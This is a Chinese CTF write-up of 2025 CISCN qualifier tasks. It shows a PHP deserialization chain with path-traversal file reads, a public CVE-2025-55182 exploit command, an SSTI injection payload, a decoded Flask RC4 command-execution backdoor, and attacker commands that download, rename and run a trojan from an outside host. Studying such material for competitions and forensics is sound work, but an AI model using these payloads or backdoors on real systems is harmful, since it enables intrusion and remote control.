【难】【2025-CCB-CISCN-初赛】部分题目 WriteUp#

前言#

题目归档链接：https://pan.chuzoux.top/OneDrive%20E3/CTF/CTF-Archives/2025-CCB-CISCN-Quals

特别感谢 CTF-Archives 团队对题目的收集归档

CTF-Archives

2025-CCB-CISCN-Quals

Waiting for api.github.com...

00K

Waiting...

标题格式为 题目名称 | 本题解出数

Web安全#

hellogate | 1187#

第一步：使用burp suite直接访问#

我们查看到数据包内的最后含有php代码片段（其实将图片下载下来然后用010 editor打开也能看到）

1
<?php
2
error_reporting(0);
3
class A {
4
    public $handle;
5
    public function triggerMethod() {
6
        echo "" . $this->handle;
7
    }
8
}
9
class B {
10
    public $worker;
11
    public $cmd;
12
    public function __toString() {
13
        return $this->worker->result;
14
    }
15
}
16
class C {
17
    public $cmd;
18
    public function __get($name) {
19
        echo file_get_contents($this->cmd);
20
    }
21
}
22
$raw = isset($_POST['data']) ? $_POST['data'] : '';
23
header('Content-Type: image/jpeg');
24
readfile("muzujijiji.jpg");
25
highlight_file(__FILE__);
26
$obj = unserialize($_POST['data']);
27
$obj->triggerMethod();

第二步：分析代码漏洞#

一个简单的php反序列化漏洞+文件包含漏洞

我们最后的目的是file_get_contents

于是反推链子 C::__get（C::file_get_contents） -> B::__toString -> A::triggerMethod

编写 payload

1
<?php
2

3
error_reporting(0);
4

5
class A {
6
    public $handle;
7
    public function triggerMethod() {
8
        echo "" . $this->handle;
9
    }
10
}
11

12
class B {
13
    public $worker;
14
    public $cmd;
15
    public function __toString() {
16
        return $this->worker->result;
17
    }
18
}
19
class C {
20
    public $cmd;
21
    public function __get($name) {
22
        echo file_get_contents($this->cmd);
23
    }
24
}
25

26
// $raw = isset($_POST['data']) ? $_POST['data'] : '';
27
// header('Content-Type: image/jpeg');
28
// readfile("muzujijiji.jpg");
29
// highlight_file(__FILE__);
30

31
$a = new A;
32
$a ->handle=new B;
33
$a ->handle->worker=new C;
34
$a ->handle->worker->cmd = "{文件包含}";
35
echo urlencode(serialize($a));
36

37
//$obj = $a;
38
//$obj->triggerMethod();

我们就可以调用file_get_contents();函数了

同时利用文件包含漏洞进行测试 cmd=“php://filter/read=convert.base64-encode/resource=index.php”

在得到的数据包末尾发现base64数据

1
PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpjbGFzcyBBIHsKICAgIHB1YmxpYyAkaGFuZGxlOwogICAgcHVibGljIGZ1bmN0aW9uIHRyaWdnZXJNZXRob2QoKSB7CiAgICAgICAgZWNobyAiIiAuICR0aGlzLT5oYW5kbGU7IAogICAgfQp9CmNsYXNzIEIgewogICAgcHVibGljICR3b3JrZXI7CiAgICBwdWJsaWMgJGNtZDsKICAgIHB1YmxpYyBmdW5jdGlvbiBfX3RvU3RyaW5nKCkgewogICAgICAgIHJldHVybiAkdGhpcy0+d29ya2VyLT5yZXN1bHQ7CiAgICB9Cn0KY2xhc3MgQyB7CiAgICBwdWJsaWMgJGNtZDsKICAgIHB1YmxpYyBmdW5jdGlvbiBfX2dldCgkbmFtZSkgewogICAgICAgIGVjaG8gZmlsZV9nZXRfY29udGVudHMoJHRoaXMtPmNtZCk7CiAgICB9Cn0KJHJhdyA9IGlzc2V0KCRfUE9TVFsnZGF0YSddKSA/ICRfUE9TVFsnZGF0YSddIDogJyc7CmhlYWRlcignQ29udGVudC1UeXBlOiBpbWFnZS9qcGVnJyk7CnJlYWRmaWxlKCJtdXp1amlqaWppLmpwZyIpOwpoaWdobGlnaHRfZmlsZShfX0ZJTEVfXyk7CiRvYmogPSB1bnNlcmlhbGl6ZSgkX1BPU1RbJ2RhdGEnXSk7CiRvYmotPnRyaWdnZXJNZXRob2QoKTs=

解码

1
<?php
2
error_reporting(0);
3
class A {
4
    public $handle;
5
    public function triggerMethod() {
6
        echo "" . $this->handle;
7
    }
8
}
9
class B {
10
    public $worker;
11
    public $cmd;
12
    public function __toString() {
13
        return $this->worker->result;
14
    }
15
}
16
class C {
17
    public $cmd;
18
    public function __get($name) {
19
        echo file_get_contents($this->cmd);
20
    }
21
}
22
$raw = isset($_POST['data']) ? $_POST['data'] : '';
23
header('Content-Type: image/jpeg');
24
readfile("muzujijiji.jpg");
25
highlight_file(__FILE__);
26
$obj = unserialize($_POST['data']);
27
$obj->triggerMethod();

可得存在此漏洞

第三步：猜测读取flag文件#

通过反序列化和文件包含漏洞
我们尝试读取flag

对flag.php尝试 ——>无数据返回对/flag尝试 ——>无数据返回

尝试路径穿越

对../flag尝试 ——> 无数据返回对../../flag尝试 ——> 无数据返回对../../../flag尝试 ——>返回base64数据数据如下

1
ZmxhZ3szMWI5ZjQ4MS0yMmMzLTQzMjYtYjM3NS1jMGRiYmY2Nzc5N2N9

解码得到flag

1
flag{31b9f481-22c3-4326-b375-c0dbbf67797c}

redjs | 720#

小明在服务器上部署了一个常用的框架，请你帮忙看看是否有问题。

第一步：分析得到框架版本找到CVE#

打开网站发现大大的nextjs 发现网站存在 CVE-2025-55182 漏洞

第二部：利用工具进行rce获取flag#

sangleshubham

React-Security-CVE-2025-55182-Exploit

Waiting for api.github.com...

00K

Waiting...

1
node .\react2shell.js url "cat /flag"

直接得到flag

1
flag{6e53a51c-286d-47e9-924f-c605be8ad31b}

流量分析#

SnakeBackdoor-1 | 1435#

近期发现公司网络出口出现了异常的通信，现需要通过分析出口流量包，对失陷服务器进行定位。现在需要你从网络攻击数据包中找出漏洞攻击的会话，分析会话编写exp或数据包重放，查找服务器上安装的后门木马，然后分析木马外联地址和通信密钥以及木马启动项位置。攻击者爆破成功的后台密码是什么？，结果提交形式：flag{xxxxxxxxx}

第一步：找到相关流量包#

找到http协议中含有password字段的流量包我们不难发现攻击者使用字典暴力破解密码只需要找到登录成功的流量包即可

第二部：找到登录成功特征#

如图中的对/admin目录的访问可知此时已经登录成功并进行操作于是我们在此寻找登录成功的发包即可

第三步：找到登录成功的发包#

我们可以得知此处登录成功后黑客被重定向到/admin/panel 下分解post请求数据包即可获得密码

Form item: “password” = “zxcvbnm123”

1
flag{zxcvbnm123}

SnakeBackdoor-2 | 1314#

攻击者通过漏洞利用获取Flask应用的 SECRET_KEY 是什么，结果提交形式：flag{xxxxxxxxxx}

第一步：定位到相关数据包#

直接对http协议数据包进行检索搜索SECRET_KEY字段找到唯一数据包No.28825

第二步：分解数据包#

1
<div style="padding:1rem;border:1px solid #ddd">&lt;Config {&#39;DEBUG&#39;: True, &#39;TESTING&#39;: False, &#39;PROPAGATE_EXCEPTIONS&#39;: None, &#39;SECRET_KEY&#39;: &#39;c6242af0-6891-4510-8432-e1cdf051f160&#39;, &#39;SECRET_KEY_FALLBACKS&#39;: None, &#39;PERMANENT_SESSION_LIFETIME&#39;: datetime.timedelta(days=31), &#39;USE_X_SENDFILE&#39;: False, &#39;TRUSTED_HOSTS&#39;: None, &#39;SERVER_NAME&#39;: None, &#39;APPLICATION_ROOT&#39;: &#39;/&#39;, &#39;SESSION_COOKIE_NAME&#39;: &#39;session&#39;, &#39;SESSION_COOKIE_DOMAIN&#39;: None, &#39;SESSION_COOKIE_PATH&#39;: None, &#39;SESSION_COOKIE_HTTPONLY&#39;: True, &#39;SESSION_COOKIE_SECURE&#39;: False, &#39;SESSION_COOKIE_PARTITIONED&#39;: False, &#39;SESSION_COOKIE_SAMESITE&#39;: None, &#39;SESSION_REFRESH_EACH_REQUEST&#39;: True, &#39;MAX_CONTENT_LENGTH&#39;: None, &#39;MAX_FORM_MEMORY_SIZE&#39;: 500000, &#39;MAX_FORM_PARTS&#39;: 1000, &#39;SEND_FILE_MAX_AGE_DEFAULT&#39;: None, &#39;TRAP_BAD_REQUEST_ERRORS&#39;: None, &#39;TRAP_HTTP_EXCEPTIONS&#39;: False, &#39;EXPLAIN_TEMPLATE_LOADING&#39;: False, &#39;PREFERRED_URL_SCHEME&#39;: &#39;http&#39;, &#39;TEMPLATES_AUTO_RELOAD&#39;: None, &#39;MAX_COOKIE_SIZE&#39;: 4093, &#39;PROVIDE_AUTOMATIC_OPTIONS&#39;: True}&gt;</div>

得到SECRET_KEY：c6242af0-6891-4510-8432-e1cdf051f160

flag{c6242af0-6891-4510-8432-e1cdf051f160}

SnakeBackdoor-3 | 953#

攻击者植入的木马使用了加密算法来隐藏通讯内容。请分析注入Payload，给出该加密算法使用的密钥字符串(Key) ，结果提交形式：flag{xxxxxxxx}

第一步：找到传输木马文件的数据包#

通过这个数据包我们可以发现这个网站的框架为Python Flask/Jinja2 模板黑客在尝试 Python Flask/Jinja2 模板注入 (SSTI) 攻击

于是我们需要寻找类似于exec类似的函数来执行相应内容经过检索我们大概确定了木马植入的数据包接下来就要对数据包内容进行解析

第二步：检查数据包木马内容#

提取payload

1
preview_content={{url_for.__globals__['__builtins__']['exec']("import base64; exec(base64.b64decode('XyA9IGxhbWJkYSBfXy..........'))", {'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}}

将base64.b64decode()中的内容进行base64解码

1
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));
2
exec((_)(b'=c4CU3xP+//vPzftv8gri635a0...........'))

我们可以看到这边如何处理那一大堆乱码

1
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));
2
exec((_)

其中[::-1]表示对字符串反转然后对反转后的字符串进行base64.decodebase64解码然后 Zlib 解压

于是我们对一下乱七八糟一片进行解码

然后我们得到新的一大堆字符串

1
=Mh9tF+P77///Ifl............

由于等号前置于是我们再次猜测解码方式和上方一样再次进行多次解码即可得到攻击代码

1
global exc_class
2
global code
3
import os,binascii
4
exc_class, code = app._get_exc_class_and_code(404)
5
RC4_SECRET = b'v1p3r_5tr1k3_k3y'
6
def rc4_crypt(data: bytes, key: bytes) -> bytes:
7
  S = list(range(256))
8
  j = 0
9
  for i in range(256):
10
    j = (j + S[i] + key[i % len(key)]) % 256
11
    S[i], S[j] = S[j], S[i]
12
  i = j = 0
13
  res = bytearray()
14
  for char in data:
15
    i = (i + 1) % 256
16
    j = (j + S[i]) % 256
17
    S[i], S[j] = S[j], S[i]
18
    res.append(char ^ S[(S[i] + S[j]) % 256])
19
  return bytes(res)
20
def backdoor_handler():
21
  if request.headers.get('X-Token-Auth') != '3011aa21232beb7504432bfa90d32779':
22
    return "Error"
23
  enc_hex_cmd = request.form.get('data')
24
  if not enc_hex_cmd:
25
    return ""
26
  try:
27
    enc_cmd = binascii.unhexlify(enc_hex_cmd)
28
    cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')
29
    output_bytes = getattr(os, 'popen')(cmd).read().encode('utf-8', errors='ignore')
30
    enc_output = rc4_crypt(output_bytes, RC4_SECRET)
31
    return binascii.hexlify(enc_output).decode()
32
  except:
33
    return "Error"
34
app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()

1
1. 编写解码脚本思路：
2

3
2. 字符串反转 ([::-1])：把字符串倒过来。
4

5
3. Base64 解码 (b64decode)：将倒序后的字符串进行 Base64 解码。
6

7
4. Zlib 解压 (decompress)：将解码后的二进制数据进行解压，得到原始代码。

:::[这里提供一个大佬写的脚本]

1
import base64
2
import zlib
3
import re
4
import os
5
import binascii
6

7
# Embedded Payload (extracted from original challenge)
8
PAYLOAD = b'=c4CU3xP+//vPzftv8gri63......'
9

10
def decrypt_layer(data):
11
    """
12
    解密单层逻辑:
13
    1. 清理空白字符
14
    2. 字符串逆序 (Reverse)
15
    3. Base64 解码
16
    4. Zlib 解压缩
17
    """
18
    # 清理可能存在的换行和空格
19
    data = data.replace(b'\n', b'').replace(b'\r', b'').replace(b' ', b'')
20

21
    # 逆序
22
    reversed_data = data[::-1]
23

24
    # Base64 解码
25
    try:
26
        b64_decoded = base64.b64decode(reversed_data)
27
    except Exception as e:
28
        raise ValueError(f"Base64 decode failed: {e}")
29

30
    # Zlib 解压
31
    try:
32
        decompressed = zlib.decompress(b64_decoded)
33
    except Exception as e:
34
        # 尝试跳过头部或使用 raw deflate
35
        try:
36
            decompressed = zlib.decompress(b64_decoded, -15)
37
        except:
38
            raise ValueError(f"Zlib decompress failed: {e}")
39

40
    return decompressed
41

42
def analyze_final_code(code_str):
43
    """分析最终解密出的代码，提取 Key 和 Token"""
44
    print("\n" + "="*50)
45
    print("【最终代码分析 / Final Code Analysis】")
46
    print("="*50)
47

48
    print(code_str)
49
    print("="*50 + "\n")
50

51
    # 简单的特征提取
52
    lines = code_str.split('\n')
53
    for line in lines:
54
        line = line.strip()
55
        if "RC4_SECRET" in line or "key" in line.lower():
56
            print(f"[+] Found Key info: {line}")
57
        if "X-Token-Auth" in line:
58
            print(f"[+] Found Auth Token: {line}")
59

60
def main():
61
    print(f"[*] 开始解密内嵌 Payload")
62
    print(f"[+] 初始 Payload 长度: {len(PAYLOAD)}")
63

64
    current_payload = PAYLOAD
65
    layer_count = 0
66

67
    while True:
68
        layer_count += 1
69
        print(f"[*] 正在解密第 {layer_count} 层...", end='\r')
70

71
        try:
72
            # 解密当前层
73
            decrypted_bytes = decrypt_layer(current_payload)
74
            decrypted_code = decrypted_bytes.decode('utf-8')
75

76
            # 检查是否有下一层嵌套
77
            # 模式: exec((_)(b'...'))
78
            match = re.search(r"exec\(\(_\)\(b'(.+?)'\)\)", decrypted_code)
79

80
            if match:
81
                # 提取下一层的 payload，继续循环
82
                current_payload = match.group(1).encode('utf-8')
83
            else:
84
                # 没有匹配到 exec((_)(b'...'))，说明到达最后一层
85
                print(f"\n[+] 解密完成！共解开 {layer_count} 层嵌套。")
86
                analyze_final_code(decrypted_code)
87
                break
88

89
        except Exception as e:
90
            print(f"\n[-] 在第 {layer_count} 层解密失败: {e}")
91
            break
92

93
if __name__ == "__main__":
94
    main()

大佬的WP：https://blog.csdn.net/qq_64028228/article/details/156423776

:::

第三步：审计代码找到密钥字符串(Key)#

在攻击代码中我们找到

1
RC4_SECRET = b'v1p3r_5tr1k3_k3y'

根据下方对rc4_crypt函数的调用发现密钥字符串(Key) 就是v1p3r_5tr1k3_k3y

flag{v1p3r_5tr1k3_k3y}

SnakeBackdoor-4 | 847#

攻击者上传了一个二进制后门，请写出木马进程执行的本体文件的名称，结果提交形式：flag{xxxxx}，仅写文件名不加路径

第一步：根据SnakeBackdoor-3中分析的后门代码#

1
global exc_class
2
global code
3
import os,binascii
4
exc_class, code = app._get_exc_class_and_code(404)
5
RC4_SECRET = b'v1p3r_5tr1k3_k3y'
6
def rc4_crypt(data: bytes, key: bytes) -> bytes:
7
  S = list(range(256))
8
  j = 0
9
  for i in range(256):
10
    j = (j + S[i] + key[i % len(key)]) % 256
11
    S[i], S[j] = S[j], S[i]
12
  i = j = 0
13
  res = bytearray()
14
  for char in data:
15
    i = (i + 1) % 256
16
    j = (j + S[i]) % 256
17
    S[i], S[j] = S[j], S[i]
18
    res.append(char ^ S[(S[i] + S[j]) % 256])
19
  return bytes(res)
20
def backdoor_handler():
21
  if request.headers.get('X-Token-Auth') != '3011aa21232beb7504432bfa90d32779':
22
    return "Error"
23
  enc_hex_cmd = request.form.get('data')
24
  if not enc_hex_cmd:
25
    return ""
26
  try:
27
    enc_cmd = binascii.unhexlify(enc_hex_cmd)
28
    cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')
29
    output_bytes = getattr(os, 'popen')(cmd).read().encode('utf-8', errors='ignore')
30
    enc_output = rc4_crypt(output_bytes, RC4_SECRET)
31
    return binascii.hexlify(enc_output).decode()
32
  except:
33
    return "Error"
34
app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()

第二步：找到相关攻击数据包#

我们发现当http协议头中X-Token-Auth=3011aa21232beb7504432bfa90d32779时才能使用后门于是我们筛选包含X-Token-Auth=3011aa21232beb7504432bfa90d32779的数据包

我们发现了多个相关的数据包其data内容分别是

1
Form item: "data" = "a6bc"
2
Form item: "data" = "a3ab330fb285"
3
Form item: "data" = "acad614ef3d82c8445d275713899f04d0d3819fc3726cf57634b189e0e95cc1f93e57656105246251f453a8396a43a6534"
4
Form item: "data" = "bab6694ba3c938e64b8d257b7cccee460f6347f4363ed21c300c099f129b99028eb57408024e1c32061a"
5
Form item: "data" = "a2ae330da7846599188b26257a88f10b50790cb47e6a97177e1053c351"
6
Form item: "data" = "acb07e4db7c93ece4bcc37246687ae0649614caa3430ce4b"
7
Form item: "data" = "e0ac7e52fc996cc2038c2d7a3899ed"

第三步：对数据包中data进行解密#

根据攻击脚本我们编写data解码程序

1
import binascii
2
import sys
3

4
RC4_SECRET = b'v1p3r_5tr1k3_k3y'
5

6
def rc4_crypt(data: bytes, key: bytes) -> bytes:
7
    S = list(range(256))
8
    j = 0
9
    for i in range(256):
10
        j = (j + S[i] + key[i % len(key)]) % 256
11
        S[i], S[j] = S[j], S[i]
12
    i = j = 0
13
    res = bytearray()
14
    for char in data:
15
        i = (i + 1) % 256
16
        j = (j + S[i]) % 256
17
        S[i], S[j] = S[j], S[i]
18
        res.append(char ^ S[(S[i] + S[j]) % 256])
19
    return bytes(res)
20

21
def safe_decryptor():
22
    while True:
23
        print("\n请输入要解密的字符串:")
24
        hex_input = input("> ").strip()
25
        if not hex_input:
26
            continue
27
        cipher_bytes = binascii.unhexlify(hex_input)
28
        decrypted_bytes = rc4_crypt(cipher_bytes, RC4_SECRET)
29
        plaintext = decrypted_bytes.decode('utf-8')
30
        print("-" * 20 + " 解密结果" + "-" * 20)
31
        print(f"\033[1;32m{plaintext}\033[0m")
32
        print("-" * 60)
33

34
if __name__ == "__main__":
35
    safe_decryptor()

将data数据依次解码得到所有的命令

1
id
2
ls -al
3
curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip
4
unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
5
mv /tmp/shell /tmp/python3.13
6
chmod +x /tmp/python3.13
7
/tmp/python3.13

第四步：分析执行代码内容找到木马文件#

依次的作用为

id查看所在用户权限
ls -al 确认目录环境
curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip下载木马文件输出到/tmp/123.zip
unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip使用密码nf2jd092jd01将123.zip解压出来
mv /tmp/shell /tmp/python3.13 将shell文件重命名为python3.13伪装成python文件藏在/tmp目录下
chmod +x /tmp/python3.13 给予python3.13文件权限
/tmp/python3.13 运行伪装成python3.13的木马文件

得出木马进程执行的本体文件

flag{python3.13}

结语#

剩下的我就不会了 /(ㄒoㄒ)/~~ （赛后没看WP，在准备期末考试）有时间看懂了WP再进行更新

这次比赛只做出了两道Web和两道流量分析

国赛孤军奋战这一块个人排名1400/8000 队伍排名1200/3000

其中Redjs那个题是因为最近博客服务器中存在CVE漏洞导致服务器被黑才了解那个CVE

服务器因cve失陷比赛因cve拿分